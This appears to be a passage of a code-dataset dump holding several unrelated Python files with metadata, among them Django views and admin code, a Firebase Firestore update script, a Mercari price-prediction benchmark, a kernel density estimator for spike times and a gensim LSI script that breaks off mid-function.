58, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.keys.Keys", "line_number": 58, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 62, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 62, "usage_type": "name"}, {"api_name": "session.open_session", "line_number": 68, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.CLASS_NAME", "line_number": 69, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 69, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 71, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.keys.Keys.TAB", "line_number": 72, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.keys.Keys", "line_number": 72, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 73, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 74, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 74, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 75, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 76, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 76, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 77, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 78, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 78, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 79, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.keys.Keys.ARROW_DOWN", "line_number": 83, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.keys.Keys", "line_number": 83, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 84, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 88, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 88, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 91, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 91, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 94, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 95, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 95, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 96, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 98, "usage_type": "call"}]} +{"seq_id": "554784592", "text": "# memorandi.location.serializers\n# Serialize the default models of the Location app\n#\n# Author: Benjamin Bengfort \n# Created: Wed Feb 12 00:31:21 2014 -0500\n#\n# Copyright (C) 2014 Bengfort.com\n# For license information, see LICENSE.txt\n#\n# ID: serializers.py [] benjamin@bengfort.com $\n\n\"\"\"\nSerialize the default models of the Location app\n\"\"\"\n\n##########################################################################\n## Imports\n##########################################################################\n\nfrom .models import *\nfrom rest_framework import serializers\n\n##########################################################################\n## Serializers\n##########################################################################\n\nclass LocationSerializer(serializers.HyperlinkedModelSerializer):\n\n region = serializers.RelatedField(source=\"region\")\n country = serializers.RelatedField(source=\"country\")\n\n class Meta:\n model = Location\n fields = ('id', 'url', 'name', 'address', 'city', 'region',\n 'country', 'postal_code', 'latitude', 'longitude', 'ipaddr')\n", "sub_path": "memorandi/location/serializers.py", "file_name": "serializers.py", "file_ext": "py", "file_size_in_byte": 1131, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "rest_framework.serializers.HyperlinkedModelSerializer", "line_number": 27, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 27, "usage_type": "name"}, {"api_name": "rest_framework.serializers.RelatedField", "line_number": 29, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 29, "usage_type": "name"}, {"api_name": "rest_framework.serializers.RelatedField", "line_number": 30, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 30, "usage_type": "name"}]} +{"seq_id": "426483336", "text": "import firebase_admin\nimport csv\nfrom firebase_admin import credentials, firestore\n\n\nif __name__ == \"__main__\":\n name = \"main\"\n\n cred = credentials.Certificate(\"./service-account.json\")\n firebase_app = firebase_admin.initialize_app(cred)\n\n db = firestore.client()\n\n artists_db = db.collection(\"artists\").stream()\n\n artists_array = []\n\n for artist in artists_db:\n artist_dict = artist.to_dict()\n artist_dict[\"uid\"] = artist.id\n artists_array.append(artist_dict)\n\n operators_array = []\n\n operators_db = db.collection(\"operators\").stream()\n\n for operator in operators_db:\n operator_dict = operator.to_dict()\n operator_dict[\"uid\"] = operator.id\n operators_array.append(operator_dict)\n\n failed_to_update = []\n\n with open('operator-rarity.csv', 'r', newline='') as csvfile:\n csv_reader = csv.reader(csvfile, delimiter=',',\n quotechar='|', quoting=csv.QUOTE_MINIMAL)\n for line in csv_reader:\n op_name = line[1]\n rarity = int(line[0].replace(\"*\", \"\"))\n\n print(op_name, rarity)\n\n operator = list(\n filter(lambda op: op[\"name\"] == op_name, operators_array))\n\n print(operator)\n if(len(operator) != 1):\n failed_to_update.append(op_name)\n print(\"Failed to update, adding to logs\")\n else:\n target_operator = operator[0] # the operator we want to update\n\n operator_id = target_operator[\"uid\"]\n print(operator_id)\n\n operator_ref = db.collection(\"operators\").document(operator_id)\n operator_ref.update({u\"rarity\": rarity})\n print(f\"successfully updated ${op_name}\")\n\n print(\"Failed to update the following:\")\n print(failed_to_update)\n", "sub_path": "update-operator-rarity.py", "file_name": "update-operator-rarity.py", "file_ext": "py", "file_size_in_byte": 1859, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "firebase_admin.credentials.Certificate", "line_number": 9, "usage_type": "call"}, {"api_name": "firebase_admin.credentials", "line_number": 9, "usage_type": "name"}, {"api_name": "firebase_admin.initialize_app", "line_number": 10, "usage_type": "call"}, {"api_name": "firebase_admin.firestore.client", "line_number": 12, "usage_type": "call"}, {"api_name": "firebase_admin.firestore", "line_number": 12, "usage_type": "name"}, {"api_name": "csv.reader", "line_number": 35, "usage_type": "call"}, {"api_name": "csv.QUOTE_MINIMAL", "line_number": 36, "usage_type": "attribute"}]} +{"seq_id": "207809426", "text": "# Original source: https://www.kaggle.com/lopuhin/mercari-golf-0-3875-cv-in-75-loc-1900-s\n# Data files can be found on Kaggle: https://www.kaggle.com/c/mercari-price-suggestion-challenge\n# They must be stripped of non-ascii characters as Willump does not yet support arbitrary Unicode.\n\n\nimport argparse\nimport pickle\nimport time\nfrom contextlib import contextmanager\nfrom operator import itemgetter\nfrom typing import List, Dict, Union\n\nimport numpy as np\nimport pandas as pd\nimport scipy.sparse\nfrom keras.models import load_model\nfrom sklearn.model_selection import KFold\nfrom sklearn.pipeline import make_pipeline, Pipeline\nfrom sklearn.preprocessing import FunctionTransformer, StandardScaler\n\nimport price_utils\nfrom price_utils import *\nfrom willump.evaluation.willump_executor import willump_execute\n\nbase_folder = \"tests/test_resources/mercari_price_suggestion/\"\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-d\", \"--disable\", help=\"Disable Willump\", action=\"store_true\")\nargs = parser.parse_args()\n\n\n@contextmanager\ndef timer(name):\n t0 = time.time()\n yield\n print(f'[{name}] done in {time.time() - t0:.3f} s')\n\n\ndef preprocess(df: pd.DataFrame) -> pd.DataFrame:\n df['name'] = df['name'].fillna('') + ' ' + df['brand_name'].fillna('')\n df['text'] = (df['item_description'].fillna('') + ' ' + df['name'] + ' ' + df['category_name'].fillna(''))\n return df[['name', 'text', 'shipping', 'item_condition_id']]\n\n\ndef on_field(f: Union[str, List[str]], *vec) -> Pipeline:\n return make_pipeline(FunctionTransformer(itemgetter(f), validate=False), *vec)\n\n\ndef to_records(df: pd.DataFrame) -> List[Dict]:\n return df.to_dict(orient='records')\n\n\nmodel = load_model(base_folder + \"mercari_model.h5\")\n\n\n@willump_execute(disable=args.disable)\ndef predict_from_input(model_input, name_vectorizer, text_vectorizer, dict_vectorizer):\n model_input = preprocess(model_input)\n name_input = model_input[\"name\"].values\n name_vec = name_vectorizer.transform(name_input)\n text_input = model_input[\"text\"].values\n text_vec = text_vectorizer.transform(text_input)\n valid_records = to_records(model_input[[\"shipping\", \"item_condition_id\"]])\n dict_vec = dict_vectorizer.transform(valid_records)\n combined_vec = scipy.sparse.hstack([name_vec, dict_vec, text_vec], format=\"csr\")\n preds = willump_predict_function(model, combined_vec)\n return preds\n\n\ndef main():\n y_scaler = StandardScaler()\n train = pd.read_table(base_folder + 'train.tsv')\n train = train[train['price'] > 0].reset_index(drop=True)\n cv = KFold(n_splits=5, shuffle=True, random_state=42)\n train_ids, valid_ids = next(cv.split(train))\n train, valid = train.iloc[train_ids], train.iloc[valid_ids]\n y_scaler.fit_transform(np.log1p(train['price'].values.reshape(-1, 1)))\n price_utils.y_scaler = y_scaler\n y_true = valid['price'].values\n y_true = y_scaler.transform(np.log1p(y_true.reshape(-1, 1)))\n vectorizers = pickle.load(open(base_folder + \"mercari_vect_lr.pk\", \"rb\"))\n mini_valid = valid.iloc[0:3].copy()\n predict_from_input(mini_valid, *vectorizers).astype(np.float32)\n predict_from_input(mini_valid, *vectorizers).astype(np.float32)\n t0 = time.time()\n y_pred = predict_from_input(valid, *vectorizers).astype(np.float32)\n time_elapsed = time.time() - t0\n print(\"Time: %f Length: %d Throughput: %f\" % (time_elapsed, len(valid), len(valid) / time_elapsed))\n print('Valid 1 - RMSLE: {:.7f}'.format(willump_score_function(y_true, y_pred)))\n\n\nif __name__ == '__main__':\n main()\n", "sub_path": "tests/benchmark_scripts/price_batch.py", "file_name": "price_batch.py", "file_ext": "py", "file_size_in_byte": 3546, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 27, "usage_type": "call"}, {"api_name": "time.time", "line_number": 34, "usage_type": "call"}, {"api_name": "time.time", "line_number": 36, "usage_type": "call"}, {"api_name": "contextlib.contextmanager", "line_number": 32, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 39, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 45, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 45, "usage_type": "name"}, {"api_name": "sklearn.pipeline.make_pipeline", "line_number": 46, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.FunctionTransformer", "line_number": 46, "usage_type": "call"}, {"api_name": "operator.itemgetter", "line_number": 46, "usage_type": "call"}, {"api_name": "sklearn.pipeline.Pipeline", "line_number": 45, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 49, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 49, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 49, "usage_type": "name"}, {"api_name": "keras.models.load_model", "line_number": 53, "usage_type": "call"}, {"api_name": "scipy.sparse.sparse.hstack", "line_number": 65, "usage_type": "call"}, {"api_name": "scipy.sparse.sparse", "line_number": 65, "usage_type": "attribute"}, {"api_name": "scipy.sparse", "line_number": 65, "usage_type": "name"}, {"api_name": "willump.evaluation.willump_executor.willump_execute", "line_number": 56, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 71, "usage_type": "call"}, {"api_name": "pandas.read_table", "line_number": 72, "usage_type": "call"}, {"api_name": "sklearn.model_selection.KFold", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.log1p", "line_number": 77, "usage_type": "call"}, {"api_name": "price_utils.y_scaler", "line_number": 78, "usage_type": "attribute"}, {"api_name": "numpy.log1p", "line_number": 80, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 83, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 84, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 86, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 87, "usage_type": "call"}]} +{"seq_id": "589838930", "text": "from django.http import HttpResponseRedirect, HttpResponse\nfrom django.shortcuts import render\nfrom django.urls import reverse\nfrom django.views import View\n\nfrom .forms import StudentForm\nfrom .models import Student\n\n#分离get，post的处理逻辑\n\nclass IndexView(View):\n template_name = 'index.html'\n\n def get_context(self):\n students =Student.get_all()\n context = {\n 'students':students,\n }\n return context\n\n def get(self,request):\n context = self.get_context()\n form =StudentForm()\n context.update({\n 'form':form\n })\n return render(request,self.template_name,context=context)\n\n def post(self,request):\n form = StudentForm(request.POST)\n if form.is_valid():\n form.save()\n return HttpResponseRedirect(reverse('index'))\n context = self.get_context()\n context.update({\n 'form':form\n })\n return render(request,self.template_name,context=context)\n\n def test_get_index(self):\n #测试首页的可用性\n client = Client()\n response = client.get('/')\n self.assertEqual(response.status_code,200,'status code must be 200!')\n def test_post_student(self):\n client = Client()\n data = dict(\n name='test_post',\n sex=1,\n email='333@dd.com',\n profession=\"程序员\",\n qq='3333',\n phone = '3222',\n )\n response = client.post('/',data)\n self.assertEqual(response.status_code,302,'status code must be 302!')\n\n response = client.get('/')\n self.assertTure(b'test_for_post' in response.content,\n 'response content must contain \"test_for_post\"')\n# def index(request):\n# # words = 'World!'\n# #return render(request, 'index.html', context={\"words\":words})\n# students = Student.get_all()\n# #students = Student.objects_all()\n# if request.method == 'POST':\n# form = StudentForm(request.POST)\n# if form.is_valid():\n# # cleaned_data = form.cleaned_data\n# # student = Student()\n# # student.name = cleaned_data['name']\n# # student.sex = cleaned_data['sex']\n# # student.email = cleaned_data['profession']\n# # student.qq = cleaned_data['qq']\n# # student.phone = cleaned_data['phone']\n# form.save()\n# return HttpResponseRedirect(reverse('index'))\n# else:\n# form = StudentForm()\n#\n# context = {\n# 'students': students,\n# 'form': form,\n# }\n# return render(request, \"index.html\", context=context)", "sub_path": "student/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2697, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "django.views.View", "line_number": 11, "usage_type": "name"}, {"api_name": "models.Student.get_all", "line_number": 15, "usage_type": "call"}, {"api_name": "models.Student", "line_number": 15, "usage_type": "name"}, {"api_name": "forms.StudentForm", "line_number": 23, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 27, "usage_type": "call"}, {"api_name": "forms.StudentForm", "line_number": 30, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 33, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 33, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 38, "usage_type": "call"}]} +{"seq_id": "401434924", "text": "from django.contrib import admin\n\nfrom blogging.models import Post, Category\n\n# Register your models here.\n\nclass CategoryInlineAdmin(admin.TabularInline):\n\n model = Category.posts.through\n extra = 1\n\nclass PostAdmin(admin.ModelAdmin):\n\n inlines = [CategoryInlineAdmin, ]\n\n\nclass CategoryAdmin(admin.ModelAdmin):\n\n exclude = ('posts', )\n\n\nadmin.site.register(Post, PostAdmin)\nadmin.site.register(Category, CategoryAdmin)\n\n# Note: I found the similar example on this website: https://cewing.github.io/training.codefellows/lectures/day27/django_admin.html\n", "sub_path": "mysite/blogging/admin.py", "file_name": "admin.py", "file_ext": "py", "file_size_in_byte": 566, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "django.contrib.admin.TabularInline", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 7, "usage_type": "name"}, {"api_name": "blogging.models.Category.posts", "line_number": 9, "usage_type": "attribute"}, {"api_name": "blogging.models.Category", "line_number": 9, "usage_type": "name"}, {"api_name": "django.contrib.admin.ModelAdmin", "line_number": 12, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 12, "usage_type": "name"}, {"api_name": "django.contrib.admin.ModelAdmin", "line_number": 17, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 17, "usage_type": "name"}, {"api_name": "django.contrib.admin.site.register", "line_number": 22, "usage_type": "call"}, {"api_name": "blogging.models.Post", "line_number": 22, "usage_type": "argument"}, {"api_name": "django.contrib.admin.site", "line_number": 22, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 22, "usage_type": "name"}, {"api_name": "django.contrib.admin.site.register", "line_number": 23, "usage_type": "call"}, {"api_name": "blogging.models.Category", "line_number": 23, "usage_type": "argument"}, {"api_name": "django.contrib.admin.site", "line_number": 23, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 23, "usage_type": "name"}]} +{"seq_id": "490226107", "text": "# y, t, optw, W, C, y95b, y95u, yb = KDERB(spike_times)\n\n# Function KDERB returns an optimized kernel density estimate using a Gauss kernel function.\n\n# Input arguments:\n# spike_times: sample data list or array.\n# Output arguments:\n# y: Estimated density\n# t: Points at which estimation was computed.\n# The same as tin if tin is provided.\n# (If the sampling resolution of tin is smaller than the sampling\n# resolution of the data, spike_times, the estimation was done at\n# smaller number of points than t. The results, t and y, are obtained\n# by interpolating the low resolution sampling points.)\n# optw:\n# Optimal kernel bandwidth.\n\n# Optimization principle:\n# The optimal bandwidth is obtained as a minimizer of the formula,\n# sum_{i, j} \\int k(x - x_i) k(x - x_j) dx - 2 sum_{i~=j} k(x_i - x_j),\n# where k(x) is the kernel function, according to\n\n# Hideaki Shimazaki and Shigeru Shinomoto\n# Kernel Bandwidth Optimization in Spike Rate Estimation\n# Journal of Computational Neuroscience 2010\n# http://dx.doi.org/10.1007/s10827-009-0180-4\n\n# The above optimization is based on a principle of minimizing\n# expected L2 loss function between the kernel estimate and an\n# unknown underlying density function. An assumption is merely\n# that samples are drawn from the density independently each other.\n\n# For more information, please visit\n# http://2000.jukuin.keio.ac.jp/shimazaki/res/kernel.html\n\n# See also SSVKERNEL, SSHIST, sskernel\n\n# Hideaki Shimazaki\n# http://2000.jukuin.keio.ac.jp/Shimazaki\n\n# (New correction in version 1)\n# y-axis was multiplied by the number of data, so that\n# y is a time hisogram representing the density of spikes.\n\n#\n# KDERB_rate_v2.py and KDERB_rate_v3.py\n# Junpei Naito 2017/11/14\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport numpy.fft as fft\nimport math\nimport time\n\n\ndef KDERB(spike_times) :\n start = time.time()\n spike_times = np.array(sorted(spike_times))\n max_value = max(spike_times)\n min_value = min(spike_times)\n T = max_value - min_value\n\n diff_spike = np.array(sorted(np.diff(spike_times)))\n dt_samp = diff_spike[np.nonzero(diff_spike)][0]\n \n tin = np.linspace(min_value, max_value, min(math.ceil(T / dt_samp), 1e3))\n spike_ab = spike_times[np.nonzero((spike_times >= min(tin)) * (spike_times <= max(tin)))]\n\n dt = min(np.diff(tin))\n\n y_hist = np.histogram(spike_ab, np.append(tin, max_value) - dt / 2)[0]\n L = len(y_hist)\n N = sum(y_hist)\n y_hist = y_hist / (N * dt)\n\n Wmin = 2 * dt\n Wmax = 1 * (max_value - min_value)\n\n tol = 1e-5\n phi = (math.sqrt(5) + 1) / 2\n\n a = ilogexp(Wmin)\n b = ilogexp(Wmax)\n\n c1 = (phi - 1) * a + (2 - phi) * b\n c2 = (2 - phi) * a + (phi - 1) * b\n\n f1 = CostFunction(y_hist, N, logexp(c1), dt)[0]\n f2 = CostFunction(y_hist, N, logexp(c2), dt)[0]\n\n k = 0\n W = [0] * 20\n C = [0] * 20\n\n #------------- revision in version 2 (2017/11/24) \n # repeat 20 times if c1+c2 < (difference between a and b)\n #------------- \n\n while(abs(b - a) > tol * (abs(c1) + abs(c2)) and k < 20) :\n if(f1 < f2) :\n b = c2\n c2 = c1\n\n c1 = (phi - 1) * a + (2 - phi) * b\n\n f2 = f1\n f1, yh1 = CostFunction(y_hist, N, logexp(c1), dt)\n\n W[k] = logexp(c1)\n C[k] = f1\n optw = logexp(c1)\n y = yh1 / sum(yh1 * dt)\n else :\n a = c1\n c1 = c2\n\n c2 = (2 - phi) * a + (phi - 1) * b\n\n f1 = f2\n f2, yh2 = CostFunction(y_hist, N, logexp(c2), dt)\n\n W[k] = logexp(c2)\n C[k] = f2\n optw = logexp(c2)\n y = yh2 / sum(yh2 * dt)\n\n k += 1\n\n y = y * len(spike_times)\n\n end = time.time()\n print(end - start)\n\n drawKDERB(y, tin)\n return y, tin, optw\n \ndef sort(mat) :\n N = len(mat[0])\n for i in range(0, N) :\n mat[:, i] = sorted(mat[:, i])\n\n return mat\n\ndef logexp(x) :\n if x < 1e2 :\n return math.log(1 + math.exp(x))\n if x >= 1e2 :\n return x\n\ndef ilogexp(x) :\n if x < 1e2 :\n return math.log(math.exp(x) - 1)\n if x >= 1e2 :\n return x\n\n \n\ndef CostFunction(y_hist, N, w, dt) :\n yh = fftkernel(list(y_hist), w / dt) # density\n halflen = math.ceil(len(y_hist) / 2)\n remlen = len(y_hist) - halflen\n addleft = fftkernel(list(np.r_[np.zeros(remlen), y_hist[0:halflen]]), w / dt)\n addright = fftkernel(list(np.r_[y_hist[halflen : len(y_hist)], np.zeros(remlen)]), w / dt)\n\n # formula for density\n C = sum(yh * yh) * dt - 2 * sum(yh * y_hist) * dt + 2 * 1 / (math.sqrt(2 * math.pi) * w * N)\n C *= N * N\n\n yh = yh + np.r_[np.fliplr([addleft[0:halflen]])[0], np.zeros(remlen)] + np.r_[np.zeros(remlen), np.fliplr([addright[halflen:len(addright)]])[0]]\n \n return C, yh\n\ndef fftkernel(x, w) :\n # y = fftkernel(x, w)\n # \n # Function `fftkernel' applies the Gauss kernel smoother to an input signal using FFT algorithm.\n #\n # Input argument\n # x : Sample signal vector\n # w : Kernel bandwidth (the standard deviation) in unit of the sampling resolution of x.\n # Output argument\n # y : Smoothed signal.\n #\n # MAY 5 / 23, 2012 Author Hideaki Shimazaki\n # RIKEN Brain Science Institute\n # http://2000.jukuin.keio.ac.jp/shimazaki\n # \n # (New correction in version 1)\n # y-axis was multiplied by the number of data, so that\n # y is a time histogram representing the density of spikes.\n\n L = len(x)\n Lmax = max(1.0, math.floor(L + 3.0 * w))\n n = int(2 ** (nextpow2(Lmax)))\n\n X = fft.fft(x, n)\n\n f = (np.array(range(0, n)) + 0.0) / n\n f = np.r_[-f[range(0, int(n / 2) + 1)], f[range(int(n / 2) - 1, 0, -1)]]\n\n K = np.exp(-0.5 * ((w * 2 * math.pi * f) ** 2))\n\n y = fft.ifft(X * K, n)\n\n y = y[0:L]\n\n return y\n\ndef nextpow2(n) :\n if (n < 0) :\n return 0\n else :\n m = int(math.ceil(math.log2(n)))\n\n return m\n \ndef drawKDERB(y, t) :\n plt.stackplot(t, y)\n plt.ylim(ymin = 0)\n plt.show()\n", "sub_path": "old_files/KDERB_rate_v3.py", "file_name": "KDERB_rate_v3.py", "file_ext": "py", "file_size_in_byte": 6060, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "time.time", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.diff", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.nonzero", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 66, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.nonzero", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.diff", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.histogram", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 71, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 80, "usage_type": "call"}, {"api_name": "time.time", "line_number": 131, "usage_type": "call"}, {"api_name": "math.log", "line_number": 146, "usage_type": "call"}, {"api_name": "math.exp", "line_number": 146, "usage_type": "call"}, {"api_name": "math.log", "line_number": 152, "usage_type": "call"}, {"api_name": "math.exp", "line_number": 152, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 160, "usage_type": "call"}, {"api_name": "numpy.r_", "line_number": 162, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 162, "usage_type": "call"}, {"api_name": "numpy.r_", "line_number": 163, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 163, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 166, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 166, "usage_type": "attribute"}, {"api_name": "numpy.r_", "line_number": 169, "usage_type": "attribute"}, {"api_name": "numpy.fliplr", "line_number": 169, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 169, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 193, "usage_type": "call"}, {"api_name": "numpy.fft.fft", "line_number": 196, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 196, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 198, "usage_type": "call"}, {"api_name": "numpy.r_", "line_number": 199, "usage_type": "attribute"}, {"api_name": "numpy.exp", "line_number": 201, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 201, "usage_type": "attribute"}, {"api_name": "numpy.fft.ifft", "line_number": 203, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 203, "usage_type": "name"}, {"api_name": "math.ceil", "line_number": 213, "usage_type": "call"}, {"api_name": "math.log2", "line_number": 213, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.stackplot", "line_number": 218, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 218, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 219, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 219, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 220, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 220, "usage_type": "name"}]} +{"seq_id": "621419958", "text": "\"\"\"\nСоздать два списка с различным количеством элементов. В первом должны быть записаны ключи, во втором — значения.\nНеобходимо написать функцию, создающую из данных ключей и значений словарь. Если ключу не хватает значения,\nв словаре для него должно сохраняться значение None. Значения, которым не хватило ключей, необходимо отбросить.\n\"\"\"\n\nfrom itertools import zip_longest\n\n\ndef generate_array(pref, size):\n return [f'{pref}_{i}' for i in range(size)]\n\n\ndef main():\n keys = generate_array('key', int(input('введите длину списка ключей:\\n')))\n values = generate_array('values', int(input('введите длину списка значений:\\n')))\n result = {key: value for key, value in zip_longest(keys, values) if key}\n print(f'список ключей:\\n {keys} \\n список значений:\\n {values} \\n получили словарь:\\n {result}')\n\n\nif __name__ == '__main__':\n main()", "sub_path": "Lesson_3/3.py", "file_name": "3.py", "file_ext": "py", "file_size_in_byte": 1218, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "itertools.zip_longest", "line_number": 17, "usage_type": "call"}]} +{"seq_id": "562543631", "text": "#-*-coding:utf-8-*-\n\nfrom __future__ import division\nfrom gensim import corpora,models,similarities\nfrom collections import Counter,defaultdict\nimport codecs\nimport json\n\n#interest_paper_path = 'interest_paper_from_neighbors.json'\ndef extract_paper_for_interest():\n\n with codecs.open(\"t_author_paper.json\",\"r\",\"utf-8\") as fid:\n t_author_paper = json.load(fid)\n\n with codecs.open(\"author_interest.json\",\"r\",\"utf-8\") as fid:\n author_interest = json.load(fid)\n\n interest_paper = {}\n for author,interest_list in author_interest.items():\n for interest in interest_list:\n for paper in t_author_paper[author]:\n interest_paper.setdefault(interest,[]).append(paper)\n\n with codecs.open(\"interest_paper.json\",\"w\",\"utf-8\") as fid:\n json.dump(interest_paper,fid,ensure_ascii=False)\n\n\ndef create_dictionary():\n\n print (\"create dictionary ...\")\n with codecs.open(\"interest_paper.json\",\"r\",\"utf-8\") as fid:\n interest_paper = json.load(fid)\n\n interest_seq = []\n paper_seq = []\n\n for interest,paper in interest_paper.items():\n interest_seq.append(interest)\n text = ' '.join(paper)\n text = clean_data(text)\n paper_seq.append(text)\n #paper_seq = remove_once_appearance(paper_seq,2)\n\n dictionary = corpora.Dictionary(paper_seq)\n corpus = [dictionary.doc2bow(text) for text in paper_seq]\n return (interest_seq,dictionary,corpus)\n\ndef remove_once_appearance(text_list,n):\n frequency = defaultdict(int)\n for text in text_list:\n for token in text:\n frequency[token] += 1\n text_list = [[token for token in text if frequency[token] > n] for text in text_list]\n return text_list\n\ndef clean_data(text):\n\n stop_list = set()#set('a is are on from for and not to that') #this there these those have has been were I you me they can could be do . , : ! ? '.split())\n text = [word for word in text.lower().split() if word not in stop_list]\n return text\n\n\n\ndef create_lsi_model(num_topics,dictionary,corpus):\n\n print (\"create lsi model ...\")\n tfidf_model = models.TfidfModel(corpus)\n corpus_tfidf = tfidf_model[corpus]\n lsi_model = models.LsiModel(corpus_tfidf,id2word=dictionary,num_topics = num_topics)\n corpus_lsi = lsi_model[corpus_tfidf]\n corpus_simi_matrix = similarities.MatrixSimilarity(corpus_lsi)\n\n #record_papers_tfidf(corpus_tfidf)\n return (tfidf_model,lsi_model,corpus_simi_matrix)\n\n\ndef record_papers_tfidf(corpus_tfidf):\n print(\"record papers' tfidf ...\")\n fid_result = codecs.open(\"corpus_tfidf_papers\",\"w\",\"utf-8\")\n for token in corpus_tfidf:\n tfidf_list = []\n for v in token:\n tfidf_list.append(str(v[0])+\":\"+str(v[1]))\n fid_result.write('\\t'.join(tfidf_list)+'\\n')\n fid_result.close()\n\n\ndef read_test_data(json_name):\n\n with 